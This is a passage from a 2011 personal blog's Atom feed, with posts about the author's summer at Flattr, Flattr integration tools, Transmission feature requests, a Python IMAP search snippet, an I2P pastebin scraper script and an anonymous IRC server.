&lt;p&gt;The concept is simple, the page randomly selects a one sentence plot from my database and suggests it as an idea on what to write about. &lt;br /&gt;
For more info about the idea I recommend &lt;a href=&quot;http://whatshouldi.writeabouttoday.com/about.php&quot;&gt;the about page&lt;/a&gt;.&lt;/p&gt;
&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Transmission-bt feature request</title>
    <link href="http://blog.kejsarmakten.se/all/software/2011/10/03/transmission-torrent-feature-requests.html"/>
    <updated>2011-10-03T00:00:00+02:00</updated>
    <id>http://blog.kejsarmakten.se/all/software/2011/10/03/transmission-torrent-feature-requests</id>
    <content type="html">&lt;h2&gt;Transmission-bt feature request&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;03 Oct 2011&lt;/p&gt;
&lt;p&gt;
&lt;p&gt;Two feature requests for the bittorrent client Transmission:&lt;/p&gt;
&lt;ul&gt;
	&lt;li&gt;Support for proxies! I want to be able to connect my torrent program to a &lt;span class=&quot;caps&quot;&gt;SOCKS&lt;/span&gt; proxy!&lt;/li&gt;
	&lt;li&gt;&lt;del&gt;Make it possible to select single torrents to use &lt;span class=&quot;caps&quot;&gt;DHT&lt;/span&gt; and &lt;span class=&quot;caps&quot;&gt;PEX&lt;/span&gt; and not activate it for all of them. Most private trackers ban the use of &lt;span class=&quot;caps&quot;&gt;DHT&lt;/span&gt; and &lt;span class=&quot;caps&quot;&gt;PEX&lt;/span&gt; and most public trackers rely on them beeing there. It is rather annoyning to have to use seperate torrent clients for public and private trackers.&lt;/del&gt;&lt;br /&gt;
Just noticied that the last one is supported through the &lt;em&gt;privacy&lt;/em&gt; flag on torrent files.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;/images/dht.jpg&quot; title=&quot;Transmission support privacy flag&quot; alt=&quot;Transmission support privacy flag&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And before I end this blog post I also want to recommend the &lt;a href=&quot;https://code.google.com/p/transmisson-remote-gui/&quot;&gt;transmission remote &lt;span class=&quot;caps&quot;&gt;GUI&lt;/span&gt;&lt;/a&gt;. A great way to run your tranmission on a server and stil use it integrated on your normal computer, without having trouble with P2P-blocking networks and battery drainage on laptops.&lt;/p&gt;
&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Crescent 1948 Valkenburg</title>
    <link href="http://blog.kejsarmakten.se/all/personal/2011/09/29/crescent-1948-valkenburg.html"/>
    <updated>2011-09-29T00:00:00+02:00</updated>
    <id>http://blog.kejsarmakten.se/all/personal/2011/09/29/crescent-1948-valkenburg</id>
    <content type="html">&lt;h2&gt;Crescent 1948 Valkenburg&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;29 Sept 2011&lt;/p&gt;
&lt;p&gt;
&lt;p&gt;My latest love affair. A &lt;em&gt;Crescent 1948 Valkenburg&lt;/em&gt; .&lt;br /&gt;
&lt;center&gt;&lt;a href=&quot;/images/valkenburg.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;/images/valkenburg.jpg&quot; width=&quot;400&quot; alt=&quot;&lt;3&quot; /&gt;&lt;/a&gt;&lt;/center&gt;&lt;br /&gt;
Now I just have to buy some new lights and a couple of reflexes to be left alone by the notoriously tenacious Lund police. Any recommendations, please leave a comment below?&lt;/p&gt;&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Leaving for Germany</title>
    <link href="http://blog.kejsarmakten.se/all/personal/2011/09/03/leaving-for-germany.html"/>
    <updated>2011-09-03T00:00:00+02:00</updated>
    <id>http://blog.kejsarmakten.se/all/personal/2011/09/03/leaving-for-germany</id>
    <content type="html">&lt;h2&gt;Leaving for Germany&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;3 Sept 2011&lt;/p&gt;
&lt;p&gt;
&lt;p&gt;Leaving for Germany tomorrow. First Hamburg (St Pauli) and then of to Heidelberg and Berlin, and probably a few more stops. &lt;br /&gt;
I&amp;#8217;ll be gone for about three or four weeks, it is all very loosly planned. If you care to grab a beer and talk about programming, politics, Flattr or whatever, drop me an &lt;a href=&quot;mailto:christopher@kejsarmakten.se&quot;&gt;email&lt;/a&gt;.&lt;/p&gt;
&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Thank you Flattr, it has been a great summer!</title>
    <link href="http://blog.kejsarmakten.se/all/personal/2011/08/27/thank-you-flattr.html"/>
    <updated>2011-08-27T00:00:00+02:00</updated>
    <id>http://blog.kejsarmakten.se/all/personal/2011/08/27/thank-you-flattr</id>
    <content type="html">&lt;h2&gt;Thank you Flattr, it has been a great summer!&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;27 Aug 2011&lt;/p&gt;
&lt;p&gt;Well, thats it for now. This Wednesday is my last day at &lt;a href=&quot;http://flattr.com&quot;&gt;Flattr&lt;/a&gt; in Malmö. I&amp;#8217;ve worked there since June and spent the entire summer in the sweetest software development office ever! &lt;br /&gt;
It makes me quite emotional writing this because it will be really hard leaving all the great people at Flattr to continue my studies on a Master in Computer Science.  &lt;br /&gt;
&lt;center&gt;&lt;a href=&quot;/images/flattr1.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;/images/flattr1.jpg&quot; width=&quot;400&quot; alt=&quot;&lt;3&quot; /&gt;&lt;/a&gt;&lt;/center&gt;&lt;br /&gt;
It has been such a &lt;b&gt;wonderful experience&lt;/b&gt; being a part of the phenomenon that is Flattr. Working on a team set out to improve the world. The atmosphere in the Flattr office is a really inspiring and  unique. With an unhieractical structure and relaxed attitude creativity is flourishing and I really felt included in the company and the debates on the future of Flattr.&lt;/p&gt;
&lt;p&gt;The software development environment is really creative and open and a thirst for knowledge drives the team. If I would ever put together a development team the atmosphere in the Flattr office is the one I would strive for. The sense of trust in you and the amount of freedom given really maximize productivity and all the helpful devs makes it one hell of a team.&lt;/p&gt;
&lt;p&gt;Thanks for the &lt;b&gt;laughs&lt;/b&gt;, &lt;b&gt;jokes&lt;/b&gt;, &lt;b&gt;critique&lt;/b&gt;, &lt;b&gt;discussions&lt;/b&gt;, &lt;b&gt;gaming&lt;/b&gt;, &lt;b&gt;Club Mate&lt;/b&gt;, &lt;b&gt;coffee&lt;/b&gt;, &lt;b&gt;beer&lt;/b&gt;, &lt;b&gt;Lego&lt;/b&gt;, &lt;b&gt;board gaming&lt;/b&gt;,  all the &lt;em&gt;&lt;b&gt;&amp;#8216;awesome&amp;#8217;&lt;/b&gt;&lt;/em&gt; and thanks for your trust in me and my ability. &lt;br /&gt;
I hope I will be back one day!&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Tack Linus, Peter, Simon, Joel, Leif, Per, Pelle, Maria, Niklas, Josef och Marie. Ni har verkligen gjort det här till en riktigt fin sommar som jag kommer minnas med glädje.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Here are some pictures from the office this summer. &lt;br /&gt;
&lt;center&gt;&lt;br /&gt;
&lt;a href=&quot;/images/flattr2.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;/images/flattr2.jpg&quot; width=&quot;400&quot; height=&quot;&quot; alt=&quot;Pair (bro-)programming with Per in the Fatboys while Josef and Pelle builds lego/perls&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;em&gt;Pair (bro-)programming with Per in the Fatboys while Josef and Pelle builds lego/perls&lt;/em&gt;&lt;br /&gt;
&lt;a href=&quot;/images/flattr3.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;/images/flattr3.jpg&quot; width=&quot;400&quot; alt=&quot;Dark Science, divining by zero and making recursive images.&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;em&gt;Dark Science, dividing by zero and making recursive images&lt;/em&gt;&lt;br /&gt;
&lt;a href=&quot;/images/flattr4.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;/images/flattr4.jpg&quot; width=&quot;400&quot; alt=&quot;Leif dubble facepalming and Simon haning from the roof, normal day at office.&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;em&gt;Leif double facepalming and Simon hanging from the ceiling, normal day at the office&lt;/em&gt; &lt;br /&gt;
&lt;a href=&quot;/images/flattr5.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;/images/flattr5.jpg&quot; width=&quot;400&quot; alt=&quot;3D printing spam&quot; /&gt;&lt;/a&gt; &lt;br /&gt;
&lt;em&gt;3D printing spam&lt;/em&gt;&lt;br /&gt;
&lt;a href=&quot;/images/flattr6.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;/images/flattr6.jpg&quot; width=&quot;400&quot;  alt=&quot;Chill out Pug is chill&quot; /&gt;&lt;/a&gt; &lt;br /&gt;
&lt;em&gt;My Pug Medea chills out on the Flattr rugs&lt;/em&gt;&lt;br /&gt;
&lt;a href=&quot;/images/flattr7.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;/images/flattr7.jpg&quot; width=&quot;400&quot; alt=&quot;Ninja :D&quot; /&gt;&lt;/a&gt; &lt;br /&gt;
&lt;em&gt;Employed as Ninja&lt;/em&gt;&lt;br /&gt;
&lt;a href=&quot;/images/flattr8.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;/images/flattr8.jpg&quot; width=&quot;400&quot; alt=&quot;Helicopter uses ramm... IT IS INAFFECTIVE!&quot; /&gt;&lt;/a&gt; &lt;br /&gt;
&lt;em&gt;Leif using ninja skillz to avert helicopter attack&lt;/em&gt;&lt;br /&gt;
&lt;a href=&quot;/images/flattr10.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;/images/flattr10.jpg&quot; width=&quot;400&quot; alt=&quot;ROBOTZZZ!&quot; /&gt;&lt;/a&gt; &lt;br /&gt;
&lt;em&gt;Board games and Robots!&lt;/em&gt;&lt;br /&gt;
&lt;a href=&quot;/images/flattr9.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;/images/flattr9.jpg&quot; width=&quot;400&quot; alt=&quot;Dangerous but happy Simon&quot; /&gt;&lt;/a&gt; &lt;br /&gt;
&lt;em&gt;Simon enjoying shooting other devs&amp;#8230;&lt;/em&gt;&lt;/p&gt;
&lt;/center&gt;
&lt;p&gt;I&amp;#8217;ll miss the lot of you.&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Searching IMAP with Python</title>
    <link href="http://blog.kejsarmakten.se/all/software/2011/08/23/searching-IMAP-with-python.html"/>
    <updated>2011-08-23T00:00:00+02:00</updated>
    <id>http://blog.kejsarmakten.se/all/software/2011/08/23/searching-IMAP-with-python</id>
    <content type="html">&lt;h2&gt;Searching &lt;span class=&quot;caps&quot;&gt;IMAP&lt;/span&gt; with Python&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;23 Aug 2011&lt;/p&gt;
&lt;p&gt;
&lt;pre class=&quot;terminal&quot;&gt;
M = imaplib.IMAP4_SSL(&quot;imap.mail.com&quot;)
M.login(getpass.getuser(), getpass.getpass())
M.select()
typ, data = M.search(None, '(SUBJECT &quot;test&quot;)')
for num in data[0].split():
  typ, data = M.fetch(num, '(RFC822)')
  print 'Message %s\n%s\n' % (num, data[0][1])
M.close()
M.logout()
&lt;/pre&gt;
&lt;p&gt;This will search all emails for one with the subject line &amp;#8220;test&amp;#8221;. &lt;br /&gt;
Change the &amp;#8216;(&lt;span class=&quot;caps&quot;&gt;SUBJECT&lt;/span&gt; &amp;#8220;test&amp;#8221;)&amp;#8217; to whatever you want to search for/in. &lt;br /&gt;
There is a good comprehensible list of the commands in the &lt;a href=&quot;http://php.net/manual/en/function.imap-search.php&quot;&gt;&lt;span class=&quot;caps&quot;&gt;PHP&lt;/span&gt; documentaion&lt;/a&gt;. &lt;br /&gt;
The things in the &amp;#8220;Criteria&amp;#8221; list can all be used insted of the &amp;#8217;(&lt;span class=&quot;caps&quot;&gt;SUBJECT&lt;/span&gt; &amp;#8220;test&amp;#8221;) string.&lt;/p&gt;
&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Live Coding with Notch</title>
    <link href="http://blog.kejsarmakten.se/all/personal/2011/08/22/notch-live-coding.html"/>
    <updated>2011-08-22T00:00:00+02:00</updated>
    <id>http://blog.kejsarmakten.se/all/personal/2011/08/22/notch-live-coding</id>
    <content type="html">&lt;h2&gt;Live Coding with Notch&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;22 Aug 2011&lt;/p&gt;
&lt;p&gt;I can&amp;#8217;t help loving the concept of live coding. I&amp;#8217;ve had a hard time understaning fans of e-sports (as well as sports) and watching streamed games until I watched &lt;a href=&quot;http://notch.tumblr.com/&quot;&gt;Notch&lt;/a&gt; live stream a coding session a while back. &lt;br /&gt;I had totally forgotten about the concept until this weekend when Notch streamed another coding session.&lt;br /&gt;This time it was part of Ludum Dare, a competition to create a game in 48 hours.&lt;br /&gt;
Notch wrote a game called &lt;a href=&quot;http://notch.tumblr.com/post/9251960534/prelude-of-the-chambered&quot;&gt;Prelude of the Chambered&lt;/a&gt;, it is a nice retro Wolfenstein/Minecraft looking Java game. You can play it &lt;a href=&quot;https://s3.amazonaws.com/ld48/index.html&quot;&gt;here&lt;/a&gt; and here is the &lt;a href=&quot;s3.amazonaws.com/ld48/PoC_source.zip&quot;&gt;source code&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;There is a recording on YouTube from the live coding session. Crack open a beer and enjoy ultra geekness. &lt;br/&gt;Who knows, you might acctually learn something. &lt;br /&gt;
&lt;iframe width=&quot;560&quot; height=&quot;345&quot; src=&quot;http://www.youtube.com/embed/QYBUCYUNn3Q&quot; frameborder=&quot;0&quot; allowfullscreen&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Open Graph Fetcher</title>
    <link href="http://blog.kejsarmakten.se/all/projects/2011/07/22/open-graph-fetcher.html"/>
    <updated>2011-07-22T00:00:00+02:00</updated>
    <id>http://blog.kejsarmakten.se/all/projects/2011/07/22/open-graph-fetcher</id>
    <content type="html">&lt;h2&gt;Open Graph Fetcher&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;22 Jul 2011&lt;/p&gt;
&lt;p&gt;Another Open Source day in the Flattr office!&lt;br /&gt;
I experimented a little with the Open Graph standard and wrote an python class that parses a website and looks for Open Graph tags. It also has some extra features like automatic caching of images.&lt;br /&gt;
You can find the source code &lt;a href=&quot;https://github.com/melpomene/OpenGraph-fetcher&quot;&gt;on Github&lt;/a&gt;.  &lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Problems after upgrade to OS X Lion</title>
    <link href="http://blog.kejsarmakten.se/all/personal/2011/07/20/problems-after-OS-X-lion-upgrade.html"/>
    <updated>2011-07-20T00:00:00+02:00</updated>
    <id>http://blog.kejsarmakten.se/all/personal/2011/07/20/problems-after-OS-X-lion-upgrade</id>
    <content type="html">&lt;h2&gt;Problems after upgrade to OS X Lion&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;24 Mar 2011&lt;/p&gt;
&lt;p&gt;Here are a few things that broke after I upgraded my &lt;span class=&quot;caps&quot;&gt;MBP&lt;/span&gt; to OS X Lion.&lt;br /&gt;
Any help with solving the issues would be highly appreciated. &lt;/p&gt;
&lt;ul&gt;
	&lt;li&gt;&lt;b&gt;Three finger slide&lt;/b&gt;, one of my most missed features from Snow Leopard. The three finger slide which activated &amp;#8220;Back&amp;#8221; in browsers. &lt;br /&gt;
		I am currently unable to reenable this, but I have noticied that Safari has got this function (with one finger). If there are any fixes to reenable this in Firefox or Chrome please leave a comment!&lt;/li&gt;
		&lt;li&gt;&lt;b&gt;GPGMail&lt;/b&gt; stopped working. Had to install Thunderbird to continue my encrypted correspondence (haven&amp;#8217;t been able to get this working either atm).&lt;/li&gt;
		&lt;li&gt;&lt;b&gt;Time Machine&lt;/b&gt; stopped working. I&amp;#8217;ve got an Ubuntu server running as Time Machine disc and since the upgrade my &lt;span class=&quot;caps&quot;&gt;MBP&lt;/span&gt; has been complaining about lacking &lt;span class=&quot;caps&quot;&gt;AFP&lt;/span&gt; function support. &lt;img src=&quot;/images/afp_error.jpg&quot; alt=&quot;Time Machine kunde inte slutföra säkerhetskopieringen.&quot; /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A lot of stuff broke, but ey, we got full disc encryption and the posibility to resize windows in all the corners!&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Flattr button now on the SoundCloud widget</title>
    <link href="http://blog.kejsarmakten.se/all/personal/2011/07/17/soundcloud-flattr-integration.html"/>
    <updated>2011-07-17T00:00:00+02:00</updated>
    <id>http://blog.kejsarmakten.se/all/personal/2011/07/17/soundcloud-flattr-integration</id>
    <content type="html">&lt;h2&gt;Flattr button now on the SoundCloud widget&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;17 Jul 2011&lt;/p&gt;
&lt;p&gt;As I have written about before, Flattr now has a new feature that lets you integrate with &lt;b&gt;SoundCloud&lt;/b&gt;.&lt;br /&gt;
I&amp;#8217;m not a musician myself, but this is great news for all artist uploading their tracks to SoundCloud and who want to let their listeners support them financially.&lt;br /&gt; &lt;b&gt;What&amp;#8217;s new&lt;/b&gt; though is that now SoundCloud shows a nice Flattr logo in you player widget if you integrate the services.&lt;br /&gt;
&lt;b&gt;Great!&lt;/b&gt; No need for an extra flattr button for each song! &lt;br /&gt;
It&amp;#8217;s really simple to activate! Just connect your Flattr and Soundcloud account &lt;a href=&quot;https://flattr.com/settings/connections&quot;&gt;here&lt;/a&gt; (but don&amp;#8217;t forget that if you submit new songs to SC and you want to give them Flattr buttons as well you have to connect your accounts again).&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;/images/flattr_soundcloud.jpg&quot;&gt;&lt;img src=&quot;/images/flattr_soundcloud.jpg&quot; width=&quot;400px&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;p&gt;Pretty sweet huh?&lt;/p&gt;&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Flattr on wordpress.com, ShareDaddy and on AddThis. </title>
    <link href="http://blog.kejsarmakten.se/all/projects/2011/07/04/flattr-on-wordpress-sharedaddy-addthis.html"/>
    <updated>2011-07-04T00:00:00+02:00</updated>
    <id>http://blog.kejsarmakten.se/all/projects/2011/07/04/flattr-on-wordpress-sharedaddy-addthis</id>
    <content type="html">&lt;h2&gt;Flattr on wordpress.com, ShareDaddy and on AddThis.&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;04 Jul 2011&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://flattr.kejsarmakten.se/wordpress&quot;&gt;This tool&lt;/a&gt; helps you add Flattr buttons on Wordpress.com and everywhere where you use ShareDaddy. &lt;br /&gt;
	&lt;a href=&quot;http://flattr.kejsarmakten.se/addthis&quot;&gt;And this tool&lt;/a&gt; helps you integrate your flattr button in AddThis code. &lt;/p&gt;
&lt;p&gt;I hope you find some use for them!&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Flattr widget for Blogger.com</title>
    <link href="http://blog.kejsarmakten.se/all/projects/2011/07/01/flattr-widget-for-blogger.html"/>
    <updated>2011-07-01T00:00:00+02:00</updated>
    <id>http://blog.kejsarmakten.se/all/projects/2011/07/01/flattr-widget-for-blogger</id>
    <content type="html">&lt;h2&gt;Flattr widget for Blogger.com&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;01 Jul 2011&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://flattr.kejsarmakten.se/blogger/&quot;&gt;I wrote a flattr Widget for blogger.com (blogspot.com)&lt;/a&gt;. It adds a general flattr button for your site which you can drag around like a normal Gadget. &lt;br /&gt;
	And if you want it can also add flattr buttons to all your blog posts.&lt;br /&gt;
	If you like it Flattr the project here:&lt;br /&gt; &lt;a class=&quot;FlattrButton&quot; style=&quot;display:none;&quot; href=&quot;http://flattr.kejsarmakten.se/blogger/&quot;&gt;&lt;/a&gt;&lt;br /&gt;
	&lt;noscript&gt;&lt;a href=&quot;http://flattr.com/thing/331822/Flattr-widget-for-Blogger&quot; target=&quot;_blank&quot;&gt;&lt;br /&gt;
	&lt;img src=&quot;http://api.flattr.com/button/flattr-badge-large.png&quot; alt=&quot;Flattr this&quot; title=&quot;Flattr this&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;/noscript&gt;&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>SoundCloud and Flattr sitting in a tree...</title>
    <link href="http://blog.kejsarmakten.se/all/projects/2011/06/17/soundcloud-and-flattr.html"/>
    <updated>2011-06-17T00:00:00+02:00</updated>
    <id>http://blog.kejsarmakten.se/all/projects/2011/06/17/soundcloud-and-flattr</id>
    <content type="html">&lt;h2&gt;SoundCloud and Flattr sitting in a tree&amp;#8230;&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;17 Jun 2011&lt;br /&gt;
&lt;p&gt;&lt;b&gt;Update: This feature is now integrated with flattr.com, read more about it &lt;a href=&quot;http://blog.flattr.net/2011/06/new-feature-connect-flattr-to-soundcloud/&quot;&gt;here&lt;/a&gt;.&lt;/b&gt;&lt;/p&gt;&lt;br /&gt;
&lt;p&gt;&lt;a href=&quot;http://flattr.kejsarmakten.se/soundcloud/&quot; rel=&quot;me&quot;&gt;Here is a webapp&lt;/a&gt; I wrote which lets you submit all of your &lt;a href=&quot;http://soundcloud.com&quot;&gt;SoundCloud&lt;/a&gt; tracks to &lt;a href=&quot;http://flattr.com&quot;&gt;Flattr&lt;/a&gt;.&lt;br /&gt;
	It can also redirect the &amp;#8220;Buy&amp;#8221;-link on your songs to point to your Flattr Thing and it can drop a comment on your track to tell all your listeners that they now can show their love for your music throught Flattr! &lt;/p&gt;&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Hyde Flattr auto submission</title>
    <link href="http://blog.kejsarmakten.se/all/projects/2011/06/09/hyde-flattr-auto-submission.html"/>
    <updated>2011-06-09T00:00:00+02:00</updated>
    <id>http://blog.kejsarmakten.se/all/projects/2011/06/09/hyde-flattr-auto-submission</id>
    <content type="html">&lt;h2&gt;Hyde Flattr auto submission&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;09 Jun 2011&lt;/p&gt;
&lt;p&gt;I&amp;#8217;m working at &lt;a href=&quot;https://flattr.com&quot;&gt;Flattr&lt;/a&gt; this summer. A great company with visions to improve the world!&lt;br /&gt;
Anyway, today was Open Source day at Flattr and all of the developers coded away on different project. &lt;br /&gt;
I wrote this Flattr auto submission layout for the static site generator Hyde. &lt;br /&gt;
Fork it on &lt;a href=&quot;https://github.com/melpomene/Flattr-auto-submit-for-Hyde&quot;&gt;GitHub&lt;/a&gt;!&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Hack day på Blekingska Nationen</title>
    <link href="http://blog.kejsarmakten.se/all/personal/2011/06/01/hack-day-blekingska-nationen.html"/>
    <updated>2011-06-01T00:00:00+02:00</updated>
    <id>http://blog.kejsarmakten.se/all/personal/2011/06/01/hack-day-blekingska-nationen</id>
    <content type="html">&lt;h2&gt;Hack day på Blekingska Nationen&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;01 Jun 2011&lt;br /&gt;
&lt;p&gt;&lt;a href=&quot;/images/blekingska_wall.jpg&quot;&gt;&lt;img src=&quot;/images/blekingska_wall.jpg&quot; alt=&quot;Bilden saxxad från Qurator.se&quot; height=&quot;150px&quot; style=&quot;float:left;margin-right:5px;&quot; /&gt;&lt;/a&gt;&lt;b&gt;Sitter du med fast i Lund i sommar och vill låta kreativiteten flöda lite?&lt;/b&gt;&lt;br /&gt;
Kom bort till &lt;a href=&quot;http://blekingska.se&quot;&gt;Blekingska Nationen&lt;/a&gt; den andra Juli och delta i Blekingska Hack Day som jag anordnar.&lt;br /&gt;
Temat för dagen är Mash-ups. Vi skriver i små grupper ett gäng applikationer på 6-7 timmar varefter vi avrundar med grillning om folk känner för det.&lt;br /&gt;
Är du intresserad kan du läsa mer om det &lt;a href=&quot;http://piratepad.net/hackdayblekingska&quot;&gt;här&lt;/a&gt; eller på &lt;a href=&quot;https://www.facebook.com/event.php?eid=157950890939515&quot;&gt;facebook&lt;/a&gt;. &lt;br/&gt;
Är du sugen på att delta så glöm inte att trycka &amp;#8216;attending&amp;#8217; på facebook, maila mig eller lämna kontaktuppgifter i Piratepad;en&lt;/p&gt;&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>I2P Pastebin parser</title>
    <link href="http://blog.kejsarmakten.se/all/software/2011/05/29/i2p-pastebin-parser.html"/>
    <updated>2011-05-29T00:00:00+02:00</updated>
    <id>http://blog.kejsarmakten.se/all/software/2011/05/29/i2p-pastebin-parser</id>
    <content type="html">&lt;h2&gt;I2P Pastebin parser&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;27 May 2011&lt;/p&gt;
&lt;p&gt;I forked a Pastebin parser I read about on &lt;a href=&quot;http://news.ycombinator.com/item?id=2595066&quot;&gt;Hacker News&lt;/a&gt; and enabled it to parse the (I only know of one) pastebin hosted on &lt;a href=&quot;http://i2p2.de&quot;&gt;I2P&lt;/a&gt;. &lt;br /&gt;
I thought that I would stumble upon lots of more interesting stuff on the I2P pastebin than on the vanillla internet version. &lt;b&gt;Turns out I didn&amp;#8217;t.&lt;/b&gt; &lt;br /&gt;
The anonymous people chilling out on I2P seems like a really friendly bunch :).&lt;br /&gt;
The only thing I really found of interest is a script to spoof &lt;span class=&quot;caps&quot;&gt;MAC&lt;/span&gt; addresses on AirPorts. (Then again there aren&amp;#8217;t alot of pastes in the i2p pastebin (yet!))&lt;br /&gt;&lt;br /&gt;
&lt;a href=&quot;https://github.com/melpomene/I2P-Pastebin-scraper&quot;&gt;Here&lt;/a&gt; is the code to parse the I2P pastebin (you need to have BeautifulSoup and an I2P proxy running on 4444 for this to work).&lt;br /&gt;
&lt;pre class=&quot;prettyprint lang-python&quot;&gt;
import BeautifulSoup 
import urllib2 
import time 
import Queue 
import threading 
import sys 
import datetime
import random 
import os 
pastesseen = set() 
pastes = Queue.Queue()
proxy = {&quot;http&quot;: &quot;http://127.0.0.1:4444/&quot;}
handler = urllib2.ProxyHandler(proxy)
opener = urllib2.build_opener(handler)
def downloader():
	while True: 
		paste = pastes.get() 
		fn = &quot;pastebinsi2p/%s-%s.txt&quot; % (paste, datetime.datetime.today().strftime(&quot;%Y-%m-%d&quot;)) 
		content = opener.open(&quot;http://empth.i2p/pastebin/&quot; + paste).read() 
		soup = BeautifulSoup.BeautifulSoup(content) 
		content = str(soup.find(id=&quot;content&quot;))
		if &quot;requesting a little bit too much&quot; in content: 
			print &quot;Throttling... requeuing %s&quot; % paste 
			pastes.put(paste) 
			time.sleep(0.1) 
		else: 
			f = open(fn, &quot;wt&quot;) 
			f.write(content) 
			f.close() 
		delay = 1.1 # random.uniform(1, 3) 
		sys.stdout.write(&quot;Downloaded %s, waiting %f sec\n&quot; % (paste, delay)) 
		time.sleep(delay) 
		pastes.task_done() 
def scraper(): 
	scrapecount = 0 
	while scrapecount &lt; 10: 
		html = opener.open(&quot;http://empth.i2p/pastebin/recent.php&quot;).read() 
		soup = BeautifulSoup.BeautifulSoup(html) 
		div = soup.find(id=&quot;recent&quot;) 
		ul = div.find(&quot;ul&quot;)
		for li in ul.findAll(&quot;li&quot;): 
			href = li.a[&quot;href&quot;] 
			if href in pastesseen: 
				sys.stdout.write(&quot;%s already seen\n&quot; % href) 
			else: 
				pastes.put(href) 
				pastesseen.add(href) 
				sys.stdout.write(&quot;%s queued for download\n&quot; % href) 
			delay = 12 # random.uniform(6,10) 
			time.sleep(delay) 
			scrapecount += 1 
num_workers = 1 
for i in range(num_workers): 
	t = threading.Thread(target=downloader) 
	t.setDaemon(True) 
	t.start() 
if not os.path.exists(&quot;pastebinsi2p&quot;): 
	os.mkdir(&quot;pastebinsi2p&quot;) # Thanks, threecheese! 
s = threading.Thread(target=scraper) 
s.start() 
s.join()	
&lt;/pre&gt;
 &lt;br /&gt;
It is forked from &lt;a href=&quot;http://www.michielovertoom.com/python/pastebin-abused/&quot;&gt;this blog post&lt;/a&gt; (hope you don&amp;#8217;t mind mate).&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Anonymous IRC server</title>
    <link href="http://blog.kejsarmakten.se/all/projects/2011/05/27/anoymous-irc.html"/>
    <updated>2011-05-27T00:00:00+02:00</updated>
    <id>http://blog.kejsarmakten.se/all/projects/2011/05/27/anoymous-irc</id>
    <content type="html">&lt;h2&gt;Anonymous &lt;span class=&quot;caps&quot;&gt;IRC&lt;/span&gt; server&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;27 May 2011&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;/images/i2psupport.png&quot;&gt;&lt;img src=&quot;/images/i2psupport.png&quot;  /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;p&gt;Everything needed should be explained here on &lt;a href=&quot;http://kryptoanarki.se&quot;&gt;kryptoanarki.se&lt;/a&gt; or if you prefer darknets &lt;a href=&quot;http://kryptoanarki.i2p&quot;&gt;kryptoanarki.i2p&lt;/a&gt;.&lt;br /&gt;
The &lt;span class=&quot;caps&quot;&gt;IRC&lt;/span&gt; server allows you to connect to it through the I2P darknet or as a &lt;span class=&quot;caps&quot;&gt;TOR&lt;/span&gt; hidden service.&lt;br /&gt;
Chrisk has a short guide how to connect with tor on is &lt;a href=&quot;http://christopherkullenberg.se/?p=1916&quot;&gt;blog&lt;/a&gt;. &lt;br /&gt;
